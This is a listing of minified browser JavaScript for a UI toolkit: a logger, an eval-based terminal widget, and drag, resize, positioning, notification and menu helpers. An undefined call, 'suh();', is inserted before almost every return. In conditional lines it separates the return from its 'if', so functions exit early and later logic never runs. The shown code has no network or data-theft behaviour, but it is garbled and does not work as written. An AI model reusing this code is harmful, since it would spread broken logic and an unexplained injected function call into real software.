4129for (var i, r = ["clear", "error", "error", "succes", "fail", "pass", "warn", "info", "bold", "italic", "red", "blue", "green", "white", "yellow", "cyan", "magenta", "html", "autolink", "code", "pad", "right", "center", "repeat", "stack", "save", "stay", "id", "fast", "group", "noop", "obj", "end"], l = {
4130 el: null
4131 }, s = {}, a = "", c = 0, u = r.length; c < u; c++) l[r[c]] = "", s[r[c]] = function(e) {
4132 suh(); return function() {
4133 l[e] = "1"
4134 }
4135}(r[c]);
4136n.config = function(e) {
4137 suh(); return $extend(l, e), n
4138}, $watch(n), e.$log = $chain(n, s, s)
4139}(this),
4140function(e) {
4141"use strict";
4142
4143function t(e) {
4144 e.scrollTop = e.scrollHeight
4145}
4146
4147function o(e) {
4148 e.style.height = e.scrollHeight + "px"
4149}
4150
4151function n(n, r) {
4152 function l() {
4153 $log.config({
4154 cols: u.cols,
4155 el: p
4156 })
4157 }
4158
4159 function s() {
4160 e.$selection && ($selection.get() || setTimeout(function() {
4161 f.focus(), l()
4162 }, 200))
4163 }
4164
4165 function a(e) {
4166 o(e), t(e)
4167 }
4168 var c = {
4169 cols: 59,
4170 exe: $noop,
4171 prompt: ">",
4172 history: i
4173 },
4174 u = $extend(c, r),
4175 d = document.createElement("code"),
4176 p = document.createElement("div"),
4177 y = document.createElement("div"),
4178 g = document.createElement("span"),
4179 f = document.createElement("textarea");
4180 if (n) {
4181 u.prompt += " ", g.innerHTML = u.prompt, f.innerHTML = "", f.spellcheck = !1, f.rows = "1", f.style.outline = "0 none", f.style.boxShadow = "0 0 transparent", f.style.textShadow = "0 0 transparent", f.style.border = "0 none", f.style.verticalAlign = "top", f.style.resize = "none", f.style.padding = "0", f.style.margin = "0", f.style.height = "auto", f.style.width = "100%", f.style.color = "inherit", f.style.font = "inherit", f.style.fontSize = "inherit", f.style.background = "transparent", f.style.overflow = "hidden", f.style.textIndent = "0", y.style.display = "table", y.style.tableLayout = "fixed", f.style.display = "table-cell", g.style.display = "table-cell", g.style.width = "1%", g.style.whiteSpace = "nowrap", y.appendChild(g), y.appendChild(f), d.appendChild(p), d.appendChild(y), d.style.display = "block", d.style.width = u.cols + "ch", d.style.whiteSpace = "pre-wrap", d.style.wordBreak = "break-word", d.style.wordWrap = "break-word", n.appendChild(d), n.style.overflowY = "scroll", u.rows && (n.style.height = u.rows + "em"), $log.on("addline", function() {
4182 t(n)
4183 }), n.addEventListener("mouseup", s, !1), n.addEventListener("contextmenu", s, !1), f.addEventListener("mouseup", function(e) {
4184 e.stopPropagation ? e.stopPropagation() : e.cancelBubble = !0, e.stopImmediatePropagation(), l()
4185 }, !1), f.addEventListener("paste", function(e) {
4186 setTimeout(function() {
4187 a(f)
4188 }, 0)
4189 }, !1);
4190 var h = 0,
4191 m = !1,
4192 _ = $key(n).down(function(e, t, o) {
4193 a(f);
4194 var n = u.history.length;
4195 if (!1 === $.onkey(e, f.value)) suh(); return !1;
4196 if ("enter" == e) {
4197 var i = $io.str.trim(f.value);
4198 if (!i) suh(); return $.log(u.prompt), !1;
4199 if (f.value = "", f.style.height = "auto", h = 0, !1 === $.onenter(i)) suh(); return !1;
4200 if ($.log(u.prompt + i), u.history[n - 1] != i && u.history.push(i), !u.exe.call($, i)) try {
4201 $.log(eval.call(window, i))
4202 } catch (o) {
4203 $.log.error(o.message + "\n")
4204 }
4205 suh(); return !1
4206 }
4207 if (f.value || (m = !1), !m) {
4208 if ("up" == e) suh(); return ++h > n && (h = n), f.value = u.history[n - h] || "", a(f), !1;
4209 if ("down" == e) suh(); return --h < 0 && (h = 0), f.value = u.history[n - h] || "", a(f), !1
4210 }
4211 }),
4212 w = $log.config({
4213 cols: u.cols,
4214 el: p
4215 }),
4216 $ = {
4217 cli: !0,
4218 cfg: u,
4219 destroy: function() {
4220 _.destroy(), this.ondestroy(), console.log("@todo : terminal destroy")
4221 },
4222 setFocus: s,
4223 ondestroy: $noop,
4224 onenter: $noop,
4225 onkey: $noop,
4226 prompt: g,
4227 input: f,
4228 log: w
4229 };
4230 suh(); return $
4231 }
4232}
4233n.clearhistory = function() {
4234 i.length = 0
4235};
4236var i = e.$store ? $store(".config/history.json", [], function(e) {
4237 i = e
4238}, function() {
4239 suh(); return i
4240}) : [];
4241e.$cli = n
4242}(this);
4243//js/ui/box.js
4244! function(t) {
4245"use strict";
4246
4247function e(t, e) {
4248 document.documentElement.addEventListener(t, e, !1)
4249}
4250
4251function o(t, e) {
4252 document.documentElement.removeEventListener(t, e, !1)
4253}
4254
4255function n(t) {
4256 var e = t.changedTouches ? t.changedTouches[0] : null;
4257 suh(); return e ? {
4258 x: e.clientX,
4259 y: e.clientY
4260 } : {
4261 x: t.clientX,
4262 y: t.clientY
4263 }
4264}
4265
4266function r(t, e) {
4267 suh(); return !(t.right <= e.left || t.left >= e.right || t.bottom <= e.top || t.top >= e.bottom)
4268}
4269
4270function c(t, c, l) {
4271 function s() {
4272 if (g.target) {
4273 for (var t = x.querySelectorAll(g.target), e = [], o = 0, n = t.length; o < n; o++) r(E, t[o].getBoundingClientRect()) && e.push(t[o]);
4274 suh(); return e
4275 }
4276 }
4277
4278 function i(t) {
4279 g.onstart.call(x, t, b), S = !0
4280 }
4281
4282 function a(t) {
4283 var e = n(t);
4284 m = e.x - h, p = e.y - f;
4285 var o = Math.abs(m),
4286 r = Math.abs(p);
4287 E.top = p > 0 ? f : e.y, E.left = m > 0 ? h : e.x, b.style.top = E.top + "px", b.style.left = E.left + "px", (o > g.distance || r > g.distance) && w === x.scrollTop && (t.preventDefault(), S || i(t), b.style.display = "block", E.right = E.left + o, E.bottom = E.top + r, b.style.width = o + "px", b.style.height = r + "px", g.ondraw.call(x, t, s()))
4288 }
4289
4290 function u(t) {
4291 if (this.isEqualNode(t.target || t.srcElement)) {
4292 w = x.scrollTop;
4293 var o = n(t);
4294 x.appendChild(b), h = o.x, f = o.y, a(t), e("mousemove", a), e("touchmove", a), e("mouseup", d), e("touchend", d), e("contextmenu", d), g.oninit.call(x, t, b)
4295 }
4296 }
4297
4298 function d(t) {
4299 o("mousemove", a), o("touchmove", a), o("mouseup", d), o("touchend", d), o("contextmenu", d), g.onstop.call(x, t, s()), b.style.display = "none", x.removeChild(b), S = !1, w = x.scrollTop
4300 }
4301 if ("object" == typeof c && (l = c, c = null), "string" == typeof t && (t = document.querySelector(t)), !t) throw new Error("$box : element missing");
4302 var m, p, h, f, y, v = {
4303 distance: 10,
4304 oninit: $noop,
4305 onstart: $noop,
4306 ondraw: function(t, e, o) {},
4307 onstop: $noop
4308 },
4309 g = $extend(v, l),
4310 x = t;
4311 y = c ? function(t) {
4312 for (var e = t.target; e && 1 == e.nodeType && !e.matches(c);) e = e.parentNode;
4313 e && 9 != e.nodeType && (x = e, u.call(x, t))
4314 } : u;
4315 var b = document.createElement("div");
4316 b.className = "ui_select_box", b.style.position = "fixed", b.style.zIndex = 9999, b.style.border = "1px dotted #000", b.style.backgroundColor = "rgba(0,0,0,.1)", b.style.display = "none";
4317 var E = {
4318 right: 0,
4319 left: 0,
4320 bottom: 0,
4321 top: 0
4322 },
4323 w = 0,
4324 S = !1;
4325 suh(); return t.addEventListener("mousedown", y, !1), t.addEventListener("touchstart", y, !1), {
4326 destroy: function() {
4327 t.removeEventListener("mousedown", y, !1), t.removeEventListener("touchstart", y, !1)
4328 }
4329 }
4330}! function(t) {
4331 Element && !t.matches && (t.matches = t.matchesSelector || t.mozMatchesSelector || t.msMatchesSelector || t.oMatchesSelector || t.webkitMatchesSelector)
4332}(Element.prototype), c.overlap = r, t.$box = c
4333}(this);
4334//js/ui/drag.js
4335! function(e) {
4336"use strict";
4337
4338function t(e, t) {
4339 document.documentElement.addEventListener(e, t, !1)
4340}
4341
4342function n(e, t) {
4343 document.documentElement.removeEventListener(e, t, !1)
4344}
4345
4346function o(e) {
4347 var t = e.changedTouches ? e.changedTouches[0] : null;
4348 suh(); return t ? {
4349 x: t.clientX,
4350 y: t.clientY
4351 } : {
4352 x: e.clientX,
4353 y: e.clientY
4354 }
4355}
4356
4357function i(e, s, l) {
4358 function r(e) {
4359 var t = o(e);
4360 f = t.x - v, p = t.y - x, (i.isDragging || Math.abs(f) > $.distance || Math.abs(p) > $.distance) && (c(e), i.isDragging || m(e), f += h, p += y, $.constrain && (f = f > b ? b : f < N ? N : f, p = p > z ? z : p < w ? w : p), $.grid && (f = ~~((f + $.grid[0] / 2) / $.grid[0]) * $.grid[0], p = ~~((p + $.grid[1] / 2) / $.grid[1]) * $.grid[1]), $.ghost ? i.ghost && (i.ghost.style.left = f + "px", i.ghost.style.top = p + "px") : (i.elem.style.left = f + "px", i.elem.style.top = p + "px"), i.x = f, i.y = p, $.ondrag.call(i.elem, e, f, p), $.zone && a(e, t))
4361 }
4362
4363 function a(e, t) {
4364 var n = document.elementFromPoint(t.x, t.y);
4365 for (var o in $.zone)
4366 if ($.zone.hasOwnProperty(o)) {
4367 for (var s = $.zone[o], l = n; l && 1 == l.nodeType && !l.matches(o);) l = l.parentNode;
4368 l && 9 != l.nodeType ? (i.zone !== l && (s.leave && i.zone && s.leave(e, i.zone, i.elem), s.enter && s.enter(e, l, i.elem)), i.zone = l) : i.zone && (s.leave && s.leave(e, i.zone, i.elem), i.zone = null), s.move && i.zone && s.move(e, i.zone, i.elem)
4369 }
4370 }
4371
4372 function u(e) {
4373 var t = !1,
4374 n = o(e);
4375 document.elementFromPoint(n.x, n.y);
4376 for (var s in $.zone)
4377 if ($.zone.hasOwnProperty(s)) {
4378 var l = $.zone[s];
4379 l.drop && i.zone && (t = !0, l.drop(e, i.zone, i.elem))
4380 }
4381 suh(); return t
4382 }
4383
4384 function m(e) {
4385 if ($.ghost) document.body.appendChild(i.ghost);
4386 else {
4387 var t = getComputedStyle(i.elem, null);
4388 if (h = i.elem.offsetLeft - (parseInt(t.marginLeft) || 0), y = i.elem.offsetTop - (parseInt(t.marginTop) || 0), "absolute" === $.position || "fixed" === $.position) i.elem.style.position = "fixed" == t.position ? "fixed" : "absolute", i.elem.style.boxSizing = i.elem.style.webkitBoxSizing = i.elem.style.MozBoxSizing = "border-box", i.elem.style.height = i.elem.offsetHeight + "px", i.elem.style.width = i.elem.offsetWidth + "px", i.elem.style.left = h + "px", i.elem.style.top = y + "px";
4389 else {
4390 var n = parseInt(t.left) || 0,
4391 o = parseInt(t.top) || 0;
4392 $.constrain && (z = z - y + o, w = w - y + o, b = b - h + n, N = N - h + n), h = n, y = o, i.elem.style.position = "relative", i.elem.style.left = h + "px", i.elem.style.top = y + "px"
4393 }
4394 i.elem.classList.add("ui_is_dragging")
4395 }
4396 $.onstart.call(i.elem, e), i.isDragging = !0
4397 }
4398
4399 function g(n, l) {
4400 c(n), i.elem = l || (s ? this : e);
4401 var a = o(n);
4402 if (v = a.x, x = a.y, $.ghost) {
4403 i.ghost = i.createGhost(i.elem);
4404 var u = i.elem.getBoundingClientRect();
4405 h = u.left, y = u.top
4406 } else i.ghost = null, h = i.elem.offsetLeft, y = i.elem.offsetTop;
4407 i.initialPos.x = h, i.initialPos.y = y, r(n), t("mousemove", r), t("touchmove", r), t("mouseup", d), t("touchend", d), t("contextmenu", c), $.oninit.call(i.elem, n)
4408 }
4409
4410 function d(e) {
4411 if (n("mousemove", r), n("touchmove", r), n("mouseup", d), n("touchend", d), n("contextmenu", c), i.isDragging) {
4412 var t = !1;
4413 $.zone && i.elem && (t = u(e)), t || $.ondrop.call(i.elem, e), $.onstop.call(i.elem, e)
4414 }
4415 i.elem && i.elem.classList.remove("ui_is_dragging"), i.zone = null, i.elem = null, i.initialPos.x = null, i.initialPos.y = null, i.x = null, i.y = null, i.cfg = null, i.isDragging = !1
4416 }
4417
4418 function c(e) {
4419 document.activeElement.blur(), e.preventDefault()
4420 }
4421 if ("object" == typeof s && (l = s, s = null), "string" == typeof e && (e = document.querySelector(e)), !e) throw new Error("$drag : element missing");
4422 var f, p, y, h, v, x, z, b, T, E, L, P = {
4423 constrain: !1,
4424 ghost: !1,
4425 grid: !1,
4426 position: "absolute",
4427 handle: null,
4428 distance: 5,
4429 oninit: $noop,
4430 onstart: $noop,
4431 ondrag: $noop,
4432 onstop: $noop,
4433 ondrop: $noop
4434 },
4435 $ = $extend(P, l),
4436 w = 0,
4437 N = 0,
4438 D = s ? $delegate(s, g) : g;
4439 if ("function" == typeof $.ghost && Object.defineProperty($, "ghost", {
4440 get: function() {
4441 suh(); return l.ghost($)
4442 }
4443 }), "function" == typeof $.grid && Object.defineProperty($, "grid", {
4444 get: l.grid
4445 }), i.elem = e, i.zone = null, i.isDragging = !1, s) L = e, T = E = e;
4446 else
4447 for (L = $.handle || e, E = T = e.parentNode; E.parentNode && 9 !== E.parentNode.nodeType && "static" == window.getComputedStyle(T, null).position;) E = E.parentNode;
4448 suh(); return z = E.offsetHeight - e.offsetHeight - .5, b = E.offsetWidth - e.offsetWidth - .5, L.addEventListener("mousedown", D, !1), L.addEventListener("touchstart", D, !1), {
4449 destroy: function() {
4450 i.isDragging = !1, i.removeGhost(), d(), L.removeEventListener("mousedown", D, !1), L.removeEventListener("touchstart", D, !1)
4451 }
4452 }
4453}
4454i.createGhost = function(e, t) {
4455 e.classList.add("ui_is_dragging");
4456 var n = e.cloneNode(!0),
4457 o = n.getElementsByTagName("*"),
4458 i = e.getElementsByTagName("*");
4459 n.style.cssText = getComputedStyle(e, null).cssText;
4460 for (var s = 0, l = o.length; s < l; s++) o[s].style.cssText = getComputedStyle(i[s], null).cssText, o[s].style.pointerEvents = "none";
4461 suh(); return n.classList.add("js-ghost"), n.style.pointerEvents = "none", n.style.position = "fixed", n.style.zIndex = 9999, n.style.opacity = ".7", e.classList.remove("ui_is_dragging"), n
4462}, i.initialPos = {
4463 x: null,
4464 y: null
4465}, i.revert = function(e, t) {
4466 $transition.revert(i.ghost || i.elem, i.initialPos, function() {
4467 i.ghost && i.removeGhost()
4468 })
4469}, i.removeGhost = function() {
4470 i.ghost && i.ghost.parentNode && i.ghost.parentNode === document.body && document.body.removeChild(i.ghost), i.ghost = null
4471}, e.$drag = i
4472}(this),
4473function(e) {
4474"use strict";
4475
4476function t(e) {
4477 console.log(e)
4478}
4479var n = function() {
4480 var e, t = document.createElement("div"),
4481 n = ["Webkit", "Moz", "O", "ms"];
4482 if ("transition" in t.style) suh(); return "transition";
4483 for (e = 0; e < n.length; e++)
4484 if (n[e] + "Transition" in t.style) suh(); return n[e] + "Transition";
4485 suh(); return "transition"
4486}();
4487t.revert = function(e, t, o, i) {
4488 if (void 0 === i && (i = 300), e && null !== t.x) {
4489 var s = e.style[n];
4490 e.style[n] = "left " + i + "ms ease, top " + i + "ms ease", e.style.left = t.x + "px", e.style.top = t.y + "px", setTimeout(function() {
4491 e.style[n] = s, "function" == typeof o && o()
4492 }, i)
4493 }
4494}, e.$transition = t
4495}(this);
4496//js/ui/pos.js
4497! function(t) {
4498"use strict";
4499
4500function e(t, e, n) {
4501 suh(); return t = t.replace(/([a-z]+)([+-])?/g, function(t, e, o) {
4502 suh(); return ("top" == e ? "bottom" : "bottom" == e ? "top" : "right" == e ? "left" : "left" == e ? "right" : e) + ("+" == o ? "-" : "-" == o ? "+" : "")
4503 }), o(t, e, n)
4504}
4505
4506function o(t, e, o) {
4507 var n = o || {
4508 top: 0,
4509 left: 0
4510 },
4511 f = e.offsetHeight || 0,
4512 i = e.offsetWidth || 0;
4513 suh(); return t.replace(/(?:(right|left|center)(?:([+-])(\d+)(%)?)?)? ?(?:(top|bottom|center)(?:([+-])(\d+)(%)?)?)?/, function(t, e, o, l, r, p, s, a, u) {
4514 p || (p = "center"), e || (e = "center"), "right" == e && (n.left += i), "center" == e && (n.left += i / 2), "bottom" == p && (n.top += f), "center" == p && (n.top += f / 2), r && (l = i / 100 * +l), u && (a = f / 100 * +a), l && (n.left = n.left - +(o + l)), a && (n.top = n.top - +(s + a))
4515 }), n
4516}
4517
4518function n(t, n) {
4519 function f(t) {
4520 if (t || (t = d.of), 1 === t.nodeType) {
4521 var e = t.getBoundingClientRect();
4522 s = e.left, a = e.top
4523 } else t.preventDefault && (s = t.pageX, a = t.pageY);
4524 p(s, a, s, a)
4525 }
4526 if (!t) throw new Error("$pos: element is undefined");
4527 t.style.position = "fixed";
4528 for (var i = t.parentNode, l = window.getComputedStyle(i, null), r = {
4529 top: 0,
4530 left: 0
4531 }; i.parentNode && 9 !== i.parentNode.nodeType && "none" == l.transform && "none" == l.perspective;) i.getAttribute("data-ui-menu-scroller") && i, i = i.parentNode, l = window.getComputedStyle(i, null);
4532 r = i.getBoundingClientRect();
4533 var p, s, a, u = {
4534 my: "left top",
4535 at: "left bottom",
4536 of: {},
4537 collision: "flip",
4538 within: window,
4539 transform: !1,
4540 overflow: "none"
4541 },
4542 d = $extend(u, n),
4543 c = o(d.my, t),
4544 h = o(d.at, d.of),
4545 g = h.top - c.top - r.top,
4546 w = h.left - c.left - r.left,
4547 y = {
4548 x: 0,
4549 y: 0,
4550 h: 0,
4551 w: 0
4552 },
4553 m = {};
4554 $io.isWindow(d.within) || !d.within ? (y.h = window.innerHeight, y.w = window.innerWidth) : (m = d.within.getBoundingClientRect(), y.x = m.left, y.y = m.top, y.h = d.within.offsetHeight, y.w = d.within.offsetWidth), t.offsetHeight > y.h && function() {
4555 var e, o = d.of.getBoundingClientRect().top - y.y,
4556 n = y.h - o - d.of.offsetHeight;
4557 e = t.parentNode.isEqualNode(d.of) ? y.h : o > n ? o : n, t.style.height = e + "px", t.setAttribute("data-ui-menu-scroller", !0)
4558 }();
4559 var x = r.left == m.left ? 0 : m.left,
4560 v = r.top == m.top ? 0 : m.top,
4561 b = y.w - t.offsetWidth + x,
4562 C = y.h - t.offsetHeight + v;
4563 if (1 === d.of.nodeType) var T = window.getComputedStyle(d.of, null),
4564 H = T.transform || T.webkitTransform || T.MozTransform || T.msTransform;
4565 if (H && "none" != H) t.style.transformOrigin = T.transformOrigin, p = function() {
4566 var e, o, n, f;
4567 0 == r.left ? (e = m.left, o = m.top, n = w, f = g) : (e = 0, o = 0, n = w + m.left, f = g + m.top), t.style.left = d.of.offsetLeft + e + "px", t.style.top = d.of.offsetTop + o + "px", t.style.transform = H + " translateX(" + n + "px) translateY(" + f + "px)"
4568 };
4569 else if ("fit" == d.collision) p = function(e, o) {
4570 o += g, e = (e += w) > b ? b : e < x ? x : e, o = o > C ? C : o < v ? v : o, t.style.left = e + "px", t.style.top = o + "px"
4571 };
4572 else if ("flip" == d.collision || "flipfit" == d.collision) {
4573 var N = e(d.my, t),
4574 W = e(d.at, d.of),
4575 B = W.top - N.top - r.top,
4576 R = W.left - N.left - r.left;
4577 p = "flipfit" == d.collision ? function(e, o, n, f) {
4578 o += g, ((e += w) > b || e < x) && (e = n + R), (o > C || o < v) && (o = f + B), e = e > b ? b : e < x ? x : e, o = o > C ? C : o < v ? v : o, t.style.left = e + "px", t.style.top = o + "px"
4579 } : function(e, o, n, f) {
4580 o += g, ((e += w) > b || e < x) && (e = n + R), (o > C || o < v) && (o = f + B), t.style.left = e + "px", t.style.top = o + "px"
4581 }
4582 } else p = function(e, o) {
4583 t.style.left = e + w + "px", t.style.top = o + g + "px"
4584 };
4585 suh(); return f(d.of), {
4586 update: f
4587 }
4588}
4589t.$pos = n
4590}(this);
4591//js/ui/resize.js
4592! function(e) {
4593"use strict";
4594
4595function t(e, t) {
4596 document.documentElement.addEventListener(e, t, !1)
4597}
4598
4599function o(e, t) {
4600 document.documentElement.removeEventListener(e, t, !1)
4601}
4602
4603function n(e) {
4604 var t = e.changedTouches ? e.changedTouches[0] : null;
4605 suh(); return t ? {
4606 x: t.clientX,
4607 y: t.clientY
4608 } : {
4609 x: e.clientX,
4610 y: e.clientY
4611 }
4612}
4613
4614function s() {
4615 for (var e = document.querySelectorAll("iframe"), t = 0, o = e.length; t < o; t++) e[t].dataset.oldPointerEvents = e[t].style.pointerEvents, e[t].style.pointerEvents = "none"
4616}
4617
4618function r() {
4619 for (var e = document.querySelectorAll("iframe"), t = 0, o = e.length; t < o; t++) e[t].style.pointerEvents = e[t].dataset.oldPointerEvents, delete e[t].dataset.oldPointerEvents
4620}
4621
4622function i(e) {
4623 e.dataset.oldTransform = e.style.transitionDuration, e.style.transitionDuration = "0s"
4624}
4625
4626function l(e) {
4627 e.style.transitionDuration = e.dataset.oldTransform, delete e.dataset.oldTransform
4628}
4629
4630function u(e, u) {
4631 function y() {
4632 for (var e = 0, t = g.length; e < t; e++) g[e].destroy()
4633 }
4634 if ("string" == typeof e && (e = document.querySelector(e)), !e) throw new Error("$resize : element missing");
4635 if (!e.getAttribute("data-js-resize-init")) {
4636 e.setAttribute("data-js-resize-init", !0);
4637 for (var c = e.parentNode; c && c.parentNode && 9 !== c.parentNode.nodeType && "static" == window.getComputedStyle(c, null).position;) c = c.parentNode;
4638 "string" == typeof u && (u = {
4639 handles: u
4640 });
4641 var p = window.getComputedStyle(e, null),
4642 h = {
4643 handles: "e, s, se",
4644 onstart: a,
4645 onresize: a,
4646 onstop: a
4647 },
4648 f = $extend(h, u),
4649 m = "fixed" == p.position || "absolute" == p.position,
4650 v = e.getBoundingClientRect(),
4651 w = (v.top, v.left, []);
4652 "static" != p.position && "" != p.position || (e.style.position = "relative"), "all" == f.handles ? w = ["n", "w", "e", "s", "nw", "ne", "sw", "se"] : f.handles.replace(/([^,\s]+)/g, function(e, t) {
4653 w.push(t)
4654 });
4655 for (var g = [], x = 0, z = w.length; x < z; x++) g.push(function(e, u) {
4656 function a(e) {
4657 e.preventDefault(), e.stopPropagation(), c(e)
4658 }
4659
4660 function y(e) {
4661 e.preventDefault()
4662 }
4663
4664 function c(o) {
4665 var r = n(o);
4666 w = r.x, g = r.y, x = e.offsetWidth, z = e.offsetHeight, E = e.offsetTop, b = e.offsetLeft, t("mousemove", N), t("touchmove", N), t("mouseup", p), t("touchend", p), t("contextmenu", y), s(), i(e), document.documentElement.style.cursor = u + "-resize", f.onstart && f.onstart(e, o)
4667 }
4668
4669 function p(t) {
4670 document.documentElement.style.cursor = "auto", r(), l(e), o("mousemove", N), o("touchmove", N), o("mouseup", p), o("touchend", p), o("contextmenu", y), f.onstop && f.onstop(e, t)
4671 }
4672
4673 function h(t) {
4674 var o = n(t);
4675 if ("s" !== u && "se" !== u && "sw" !== u || (e.style.height = z + o.y - g + "px"), "e" !== u && "ne" !== u && "se" !== u || (e.style.width = x + o.x - w + "px"), "n" === u || "ne" === u || "nw" === u) {
4676 s = o.y - g;
4677 m && (e.style.top = E + s + "px"), e.style.height = z - s + "px"
4678 }
4679 if ("w" === u || "nw" === u || "sw" === u) {
4680 var s = o.x - w;
4681 m && (e.style.left = b + s + "px"), e.style.width = x - s + "px"
4682 }
4683 f.onresize && f.onresize(e, t)
4684 }
4685
4686 function v() {
4687 L.removeEventListener("mousedown", a, !1), L.removeEventListener("touchstart", a, !1), L.parentNode && L.parentNode.removeChild(L)
4688 }
4689 var w, g, x, z, E, b, N, L = d.cloneNode(),
4690 u = u || "s";
4691 try {
4692 N = $io.fn.throttle(h, 15)
4693 } catch (e) {
4694 N = h
4695 }
4696 suh(); return L.className = "js-resizer js-resizer-" + u, "n" == u ? (L.style.bottom = "auto", L.style.height = "6px", L.style.cursor = "n-resize") : "s" == u ? (L.style.top = "auto", L.style.height = "6px", L.style.cursor = "s-resize") : "e" == u ? (L.style.left = "auto", L.style.width = "6px", L.style.cursor = "e-resize") : "w" == u ? (L.style.right = "auto", L.style.width = "6px", L.style.cursor = "w-resize") : "nw" == u ? (L.style.bottom = "auto", L.style.right = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "nw-resize") : "ne" == u ? (L.style.bottom = "auto", L.style.left = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "ne-resize") : "sw" == u ? (L.style.top = "auto", L.style.right = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "sw-resize") : "se" == u && (L.style.top = "auto", L.style.left = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "se-resize"), e.appendChild(L), L.addEventListener("mousedown", a, !1), L.addEventListener("touchstart", a, !1), {
4697 destroy: v
4698 }
4699 }(e, w[x]));
4700 suh(); return {
4701 destroy: y
4702 }
4703 }
4704}
4705var a = e.$noop || function(e) {},
4706 d = document.createElement("div");
4707d.style.position = "absolute", d.style.zIndex = "999", d.style.top = "0", d.style.bottom = "0", d.style.left = "0", d.style.right = "0", d.style.pointerEvents = "auto", e.$resize = u
4708}(this);
4709//js/ui/notif.js
4710! function(e) {
4711"use strict";
4712
4713function t(e, t) {
4714 e.className = "ui_notif animated fadeOut", setTimeout(function() {
4715 e.parentNode && e.parentNode.removeChild(e)
4716 }, t ? 150 : 500)
4717}
4718
4719function n(e, n) {
4720 function o() {
4721 h = setTimeout(function() {
4722 t(c)
4723 }, v + 2e3)
4724 }
4725 "string" == typeof e && ("string" == typeof n ? (e = {
4726 title: e,
4727 text: n
4728 }, n = null) : e = {
4729 text: e
4730 });
4731 var a = $extend({}, i, e);
4732 n || (n = a.default);
4733 var l = a.dest;
4734 a.text = a.text || a.description || a.body || "";
4735 var u, s = n.getAttribute("data-js-notif-id");
4736 if (s) u = d[s];
4737 else {
4738 u = document.createElement("div"), l.appendChild(u), u.style.zIndex = 99999;
4739 m = n.getBoundingClientRect();
4740 u.style.position = "fixed", u.style.bottom = window.innerHeight - ~~(m.top + m.height / 2) + "px", u.style.right = window.innerWidth - ~~(m.left + m.width / 2) + "px", n.setAttribute("data-js-notif-id", d.push(u) - 1)
4741 }
4742 var c = document.createElement("div"),
4743 r = document.createElement("b"),
4744 m = document.createElement("p"),
4745 f = document.createElement("span");
4746 c.style.visibility = "hidden", c.className = "ui_notif", f.innerHTML = "×";
4747 var p = 0;
4748 a.title && (r.innerHTML = a.title, c.appendChild(r), p += a.title.length), m.innerHTML = a.text, p += a.text.length, c.appendChild(m), c.appendChild(f), f.onclick = function() {
4749 t(c, !0)
4750 }, !1 !== a.delay && (c.onmouseover = function() {
4751 clearTimeout(h)
4752 }, c.onmouseout = function() {
4753 o()
4754 }), setTimeout(function() {
4755 c.style.visibility = "visible", c.className = "ui_notif animated fadeIn"
4756 }, 100), u.appendChild(c), p /= 5;
4757 var h, v = a.speed || p / 3 * 1e3;
4758 !1 !== a.delay && o()
4759}
4760var i = {
4761 default: document.body,
4762 dest: document.body
4763 },
4764 d = [];
4765document.createElement("div");
4766n.config = function(e) {
4767 $extend(i, e)
4768}, e.$notif = n
4769}(this);
4770//js/ui/menu.js
4771! function(e) {
4772"use strict";
4773
4774function t(e) {
4775 e.setAttribute("aria-hidden", !1), e.setAttribute("aria-expanded", !0), e.classList.add("ui_menu--open")
4776}
4777
4778function i(e) {
4779 e.setAttribute("aria-hidden", !0), e.setAttribute("aria-expanded", !1), e.classList.remove("ui_menu--open")
4780}
4781
4782function n(e, n) {
4783 n.classList.contains("ui_menu--open") ? (i(n), e.classList.remove("ui_menu__item--focus")) : t(n)
4784}
4785
4786function o(e) {
4787 function t(i) {
4788 for (var n = i.target; n && n.id !== e;) n = n.parentNode;
4789 n || (r(), document.removeEventListener("mousedown", t, !0), y[e] = !1)
4790 }
4791 y[e] || (y[e] = !0, document.addEventListener("mousedown", t, !0))
4792}
4793
4794function r(e) {
4795 var t = !0;
4796 "select" === e && (t = !1, e = null);
4797 var n = (e || document).querySelectorAll(".ui_menu__item--focus"),
4798 o = (e || document).querySelectorAll(".ui_menu--open"),
4799 r = (e || document).querySelectorAll(".ui_menu--scroller");
4800 $io.arr.all(n, function(e) {
4801 L[e.parentNode.parentNode.id] = !1, e.classList.remove("ui_menu__item--focus")
4802 }), $io.arr.all(o, function(e) {
4803 i(e)
4804 }), $io.arr.all(r, function(e) {
4805 e.removeAttribute("style"), e.classList.remove("ui_menu--scroller"), e.classList.contains("ui_menu--scroller--active") && e.classList.remove("ui_menu--scroller--active"), e.removeEventListener("mouseover", s, !1)
4806 }), e || (t && c.current && c.current.cfg && c.current.cfg.oncancel && c.current.cfg.oncancel(), c.current && c.current.cfg && c.current.cfg.onclose && c.current.cfg.onclose(), c.current = null)
4807}
4808
4809function s(e) {
4810 e.target.matches(".ui_menu__right_handler") ? this.classList.remove("ui_menu--scroller--active") : this.classList.add("ui_menu--scroller--active")
4811}
4812
4813function a(e) {
4814 e.addEventListener("mouseover", s, !1), e.querySelector(".ui_menu__up_handler").addEventListener("mouseover", s, !1)
4815}
4816
4817function u(e, t) {
4818 if (e.fireEvent) e.fireEvent("on" + t);
4819 else {
4820 var i = document.createEvent("Events");
4821 i.initEvent(t, !0, !1), e.dispatchEvent(i)
4822 }
4823}
4824
4825function c(e, s, u) {
4826 function h(e) {
4827 $io.obj.all(e, function(e) {
4828 e.key && (M[e.key] = function() {
4829 suh(); return e.action.apply(this, arguments)
4830 }), "function" != typeof e.items && h(e.items)
4831 })
4832 }
4833
4834 function b(e, t, n, o) {
4835 if (!1 === (n = "function" == typeof n ? n.call(t.thisArg) : n)) suh(); return !1;
4836 var r = document.createDocumentFragment(),
4837 s = l.cloneNode(!1),
4838 a = d.cloneNode(!1);
4839 if (s.appendChild(a), s.id = "ui_menu_" + f++, !n) suh(); return !1;
4840 for (var u = 0, c = n.length; u < c; u++)
4841 if (n[u] && !1 !== ("function" == typeof n[u].display ? n[u].display.call(t.thisArg) : n[u].display)) {
4842 var v = n[u],
4843 g = m.cloneNode(!1);
4844 if ("---" !== v.name) {
4845 g.id = "ui_menu__item_" + _++;
4846 var h = p.cloneNode(!1),
4847 L = document.createElement("span"),
4848 A = document.createElement("span"),
4849 x = null;
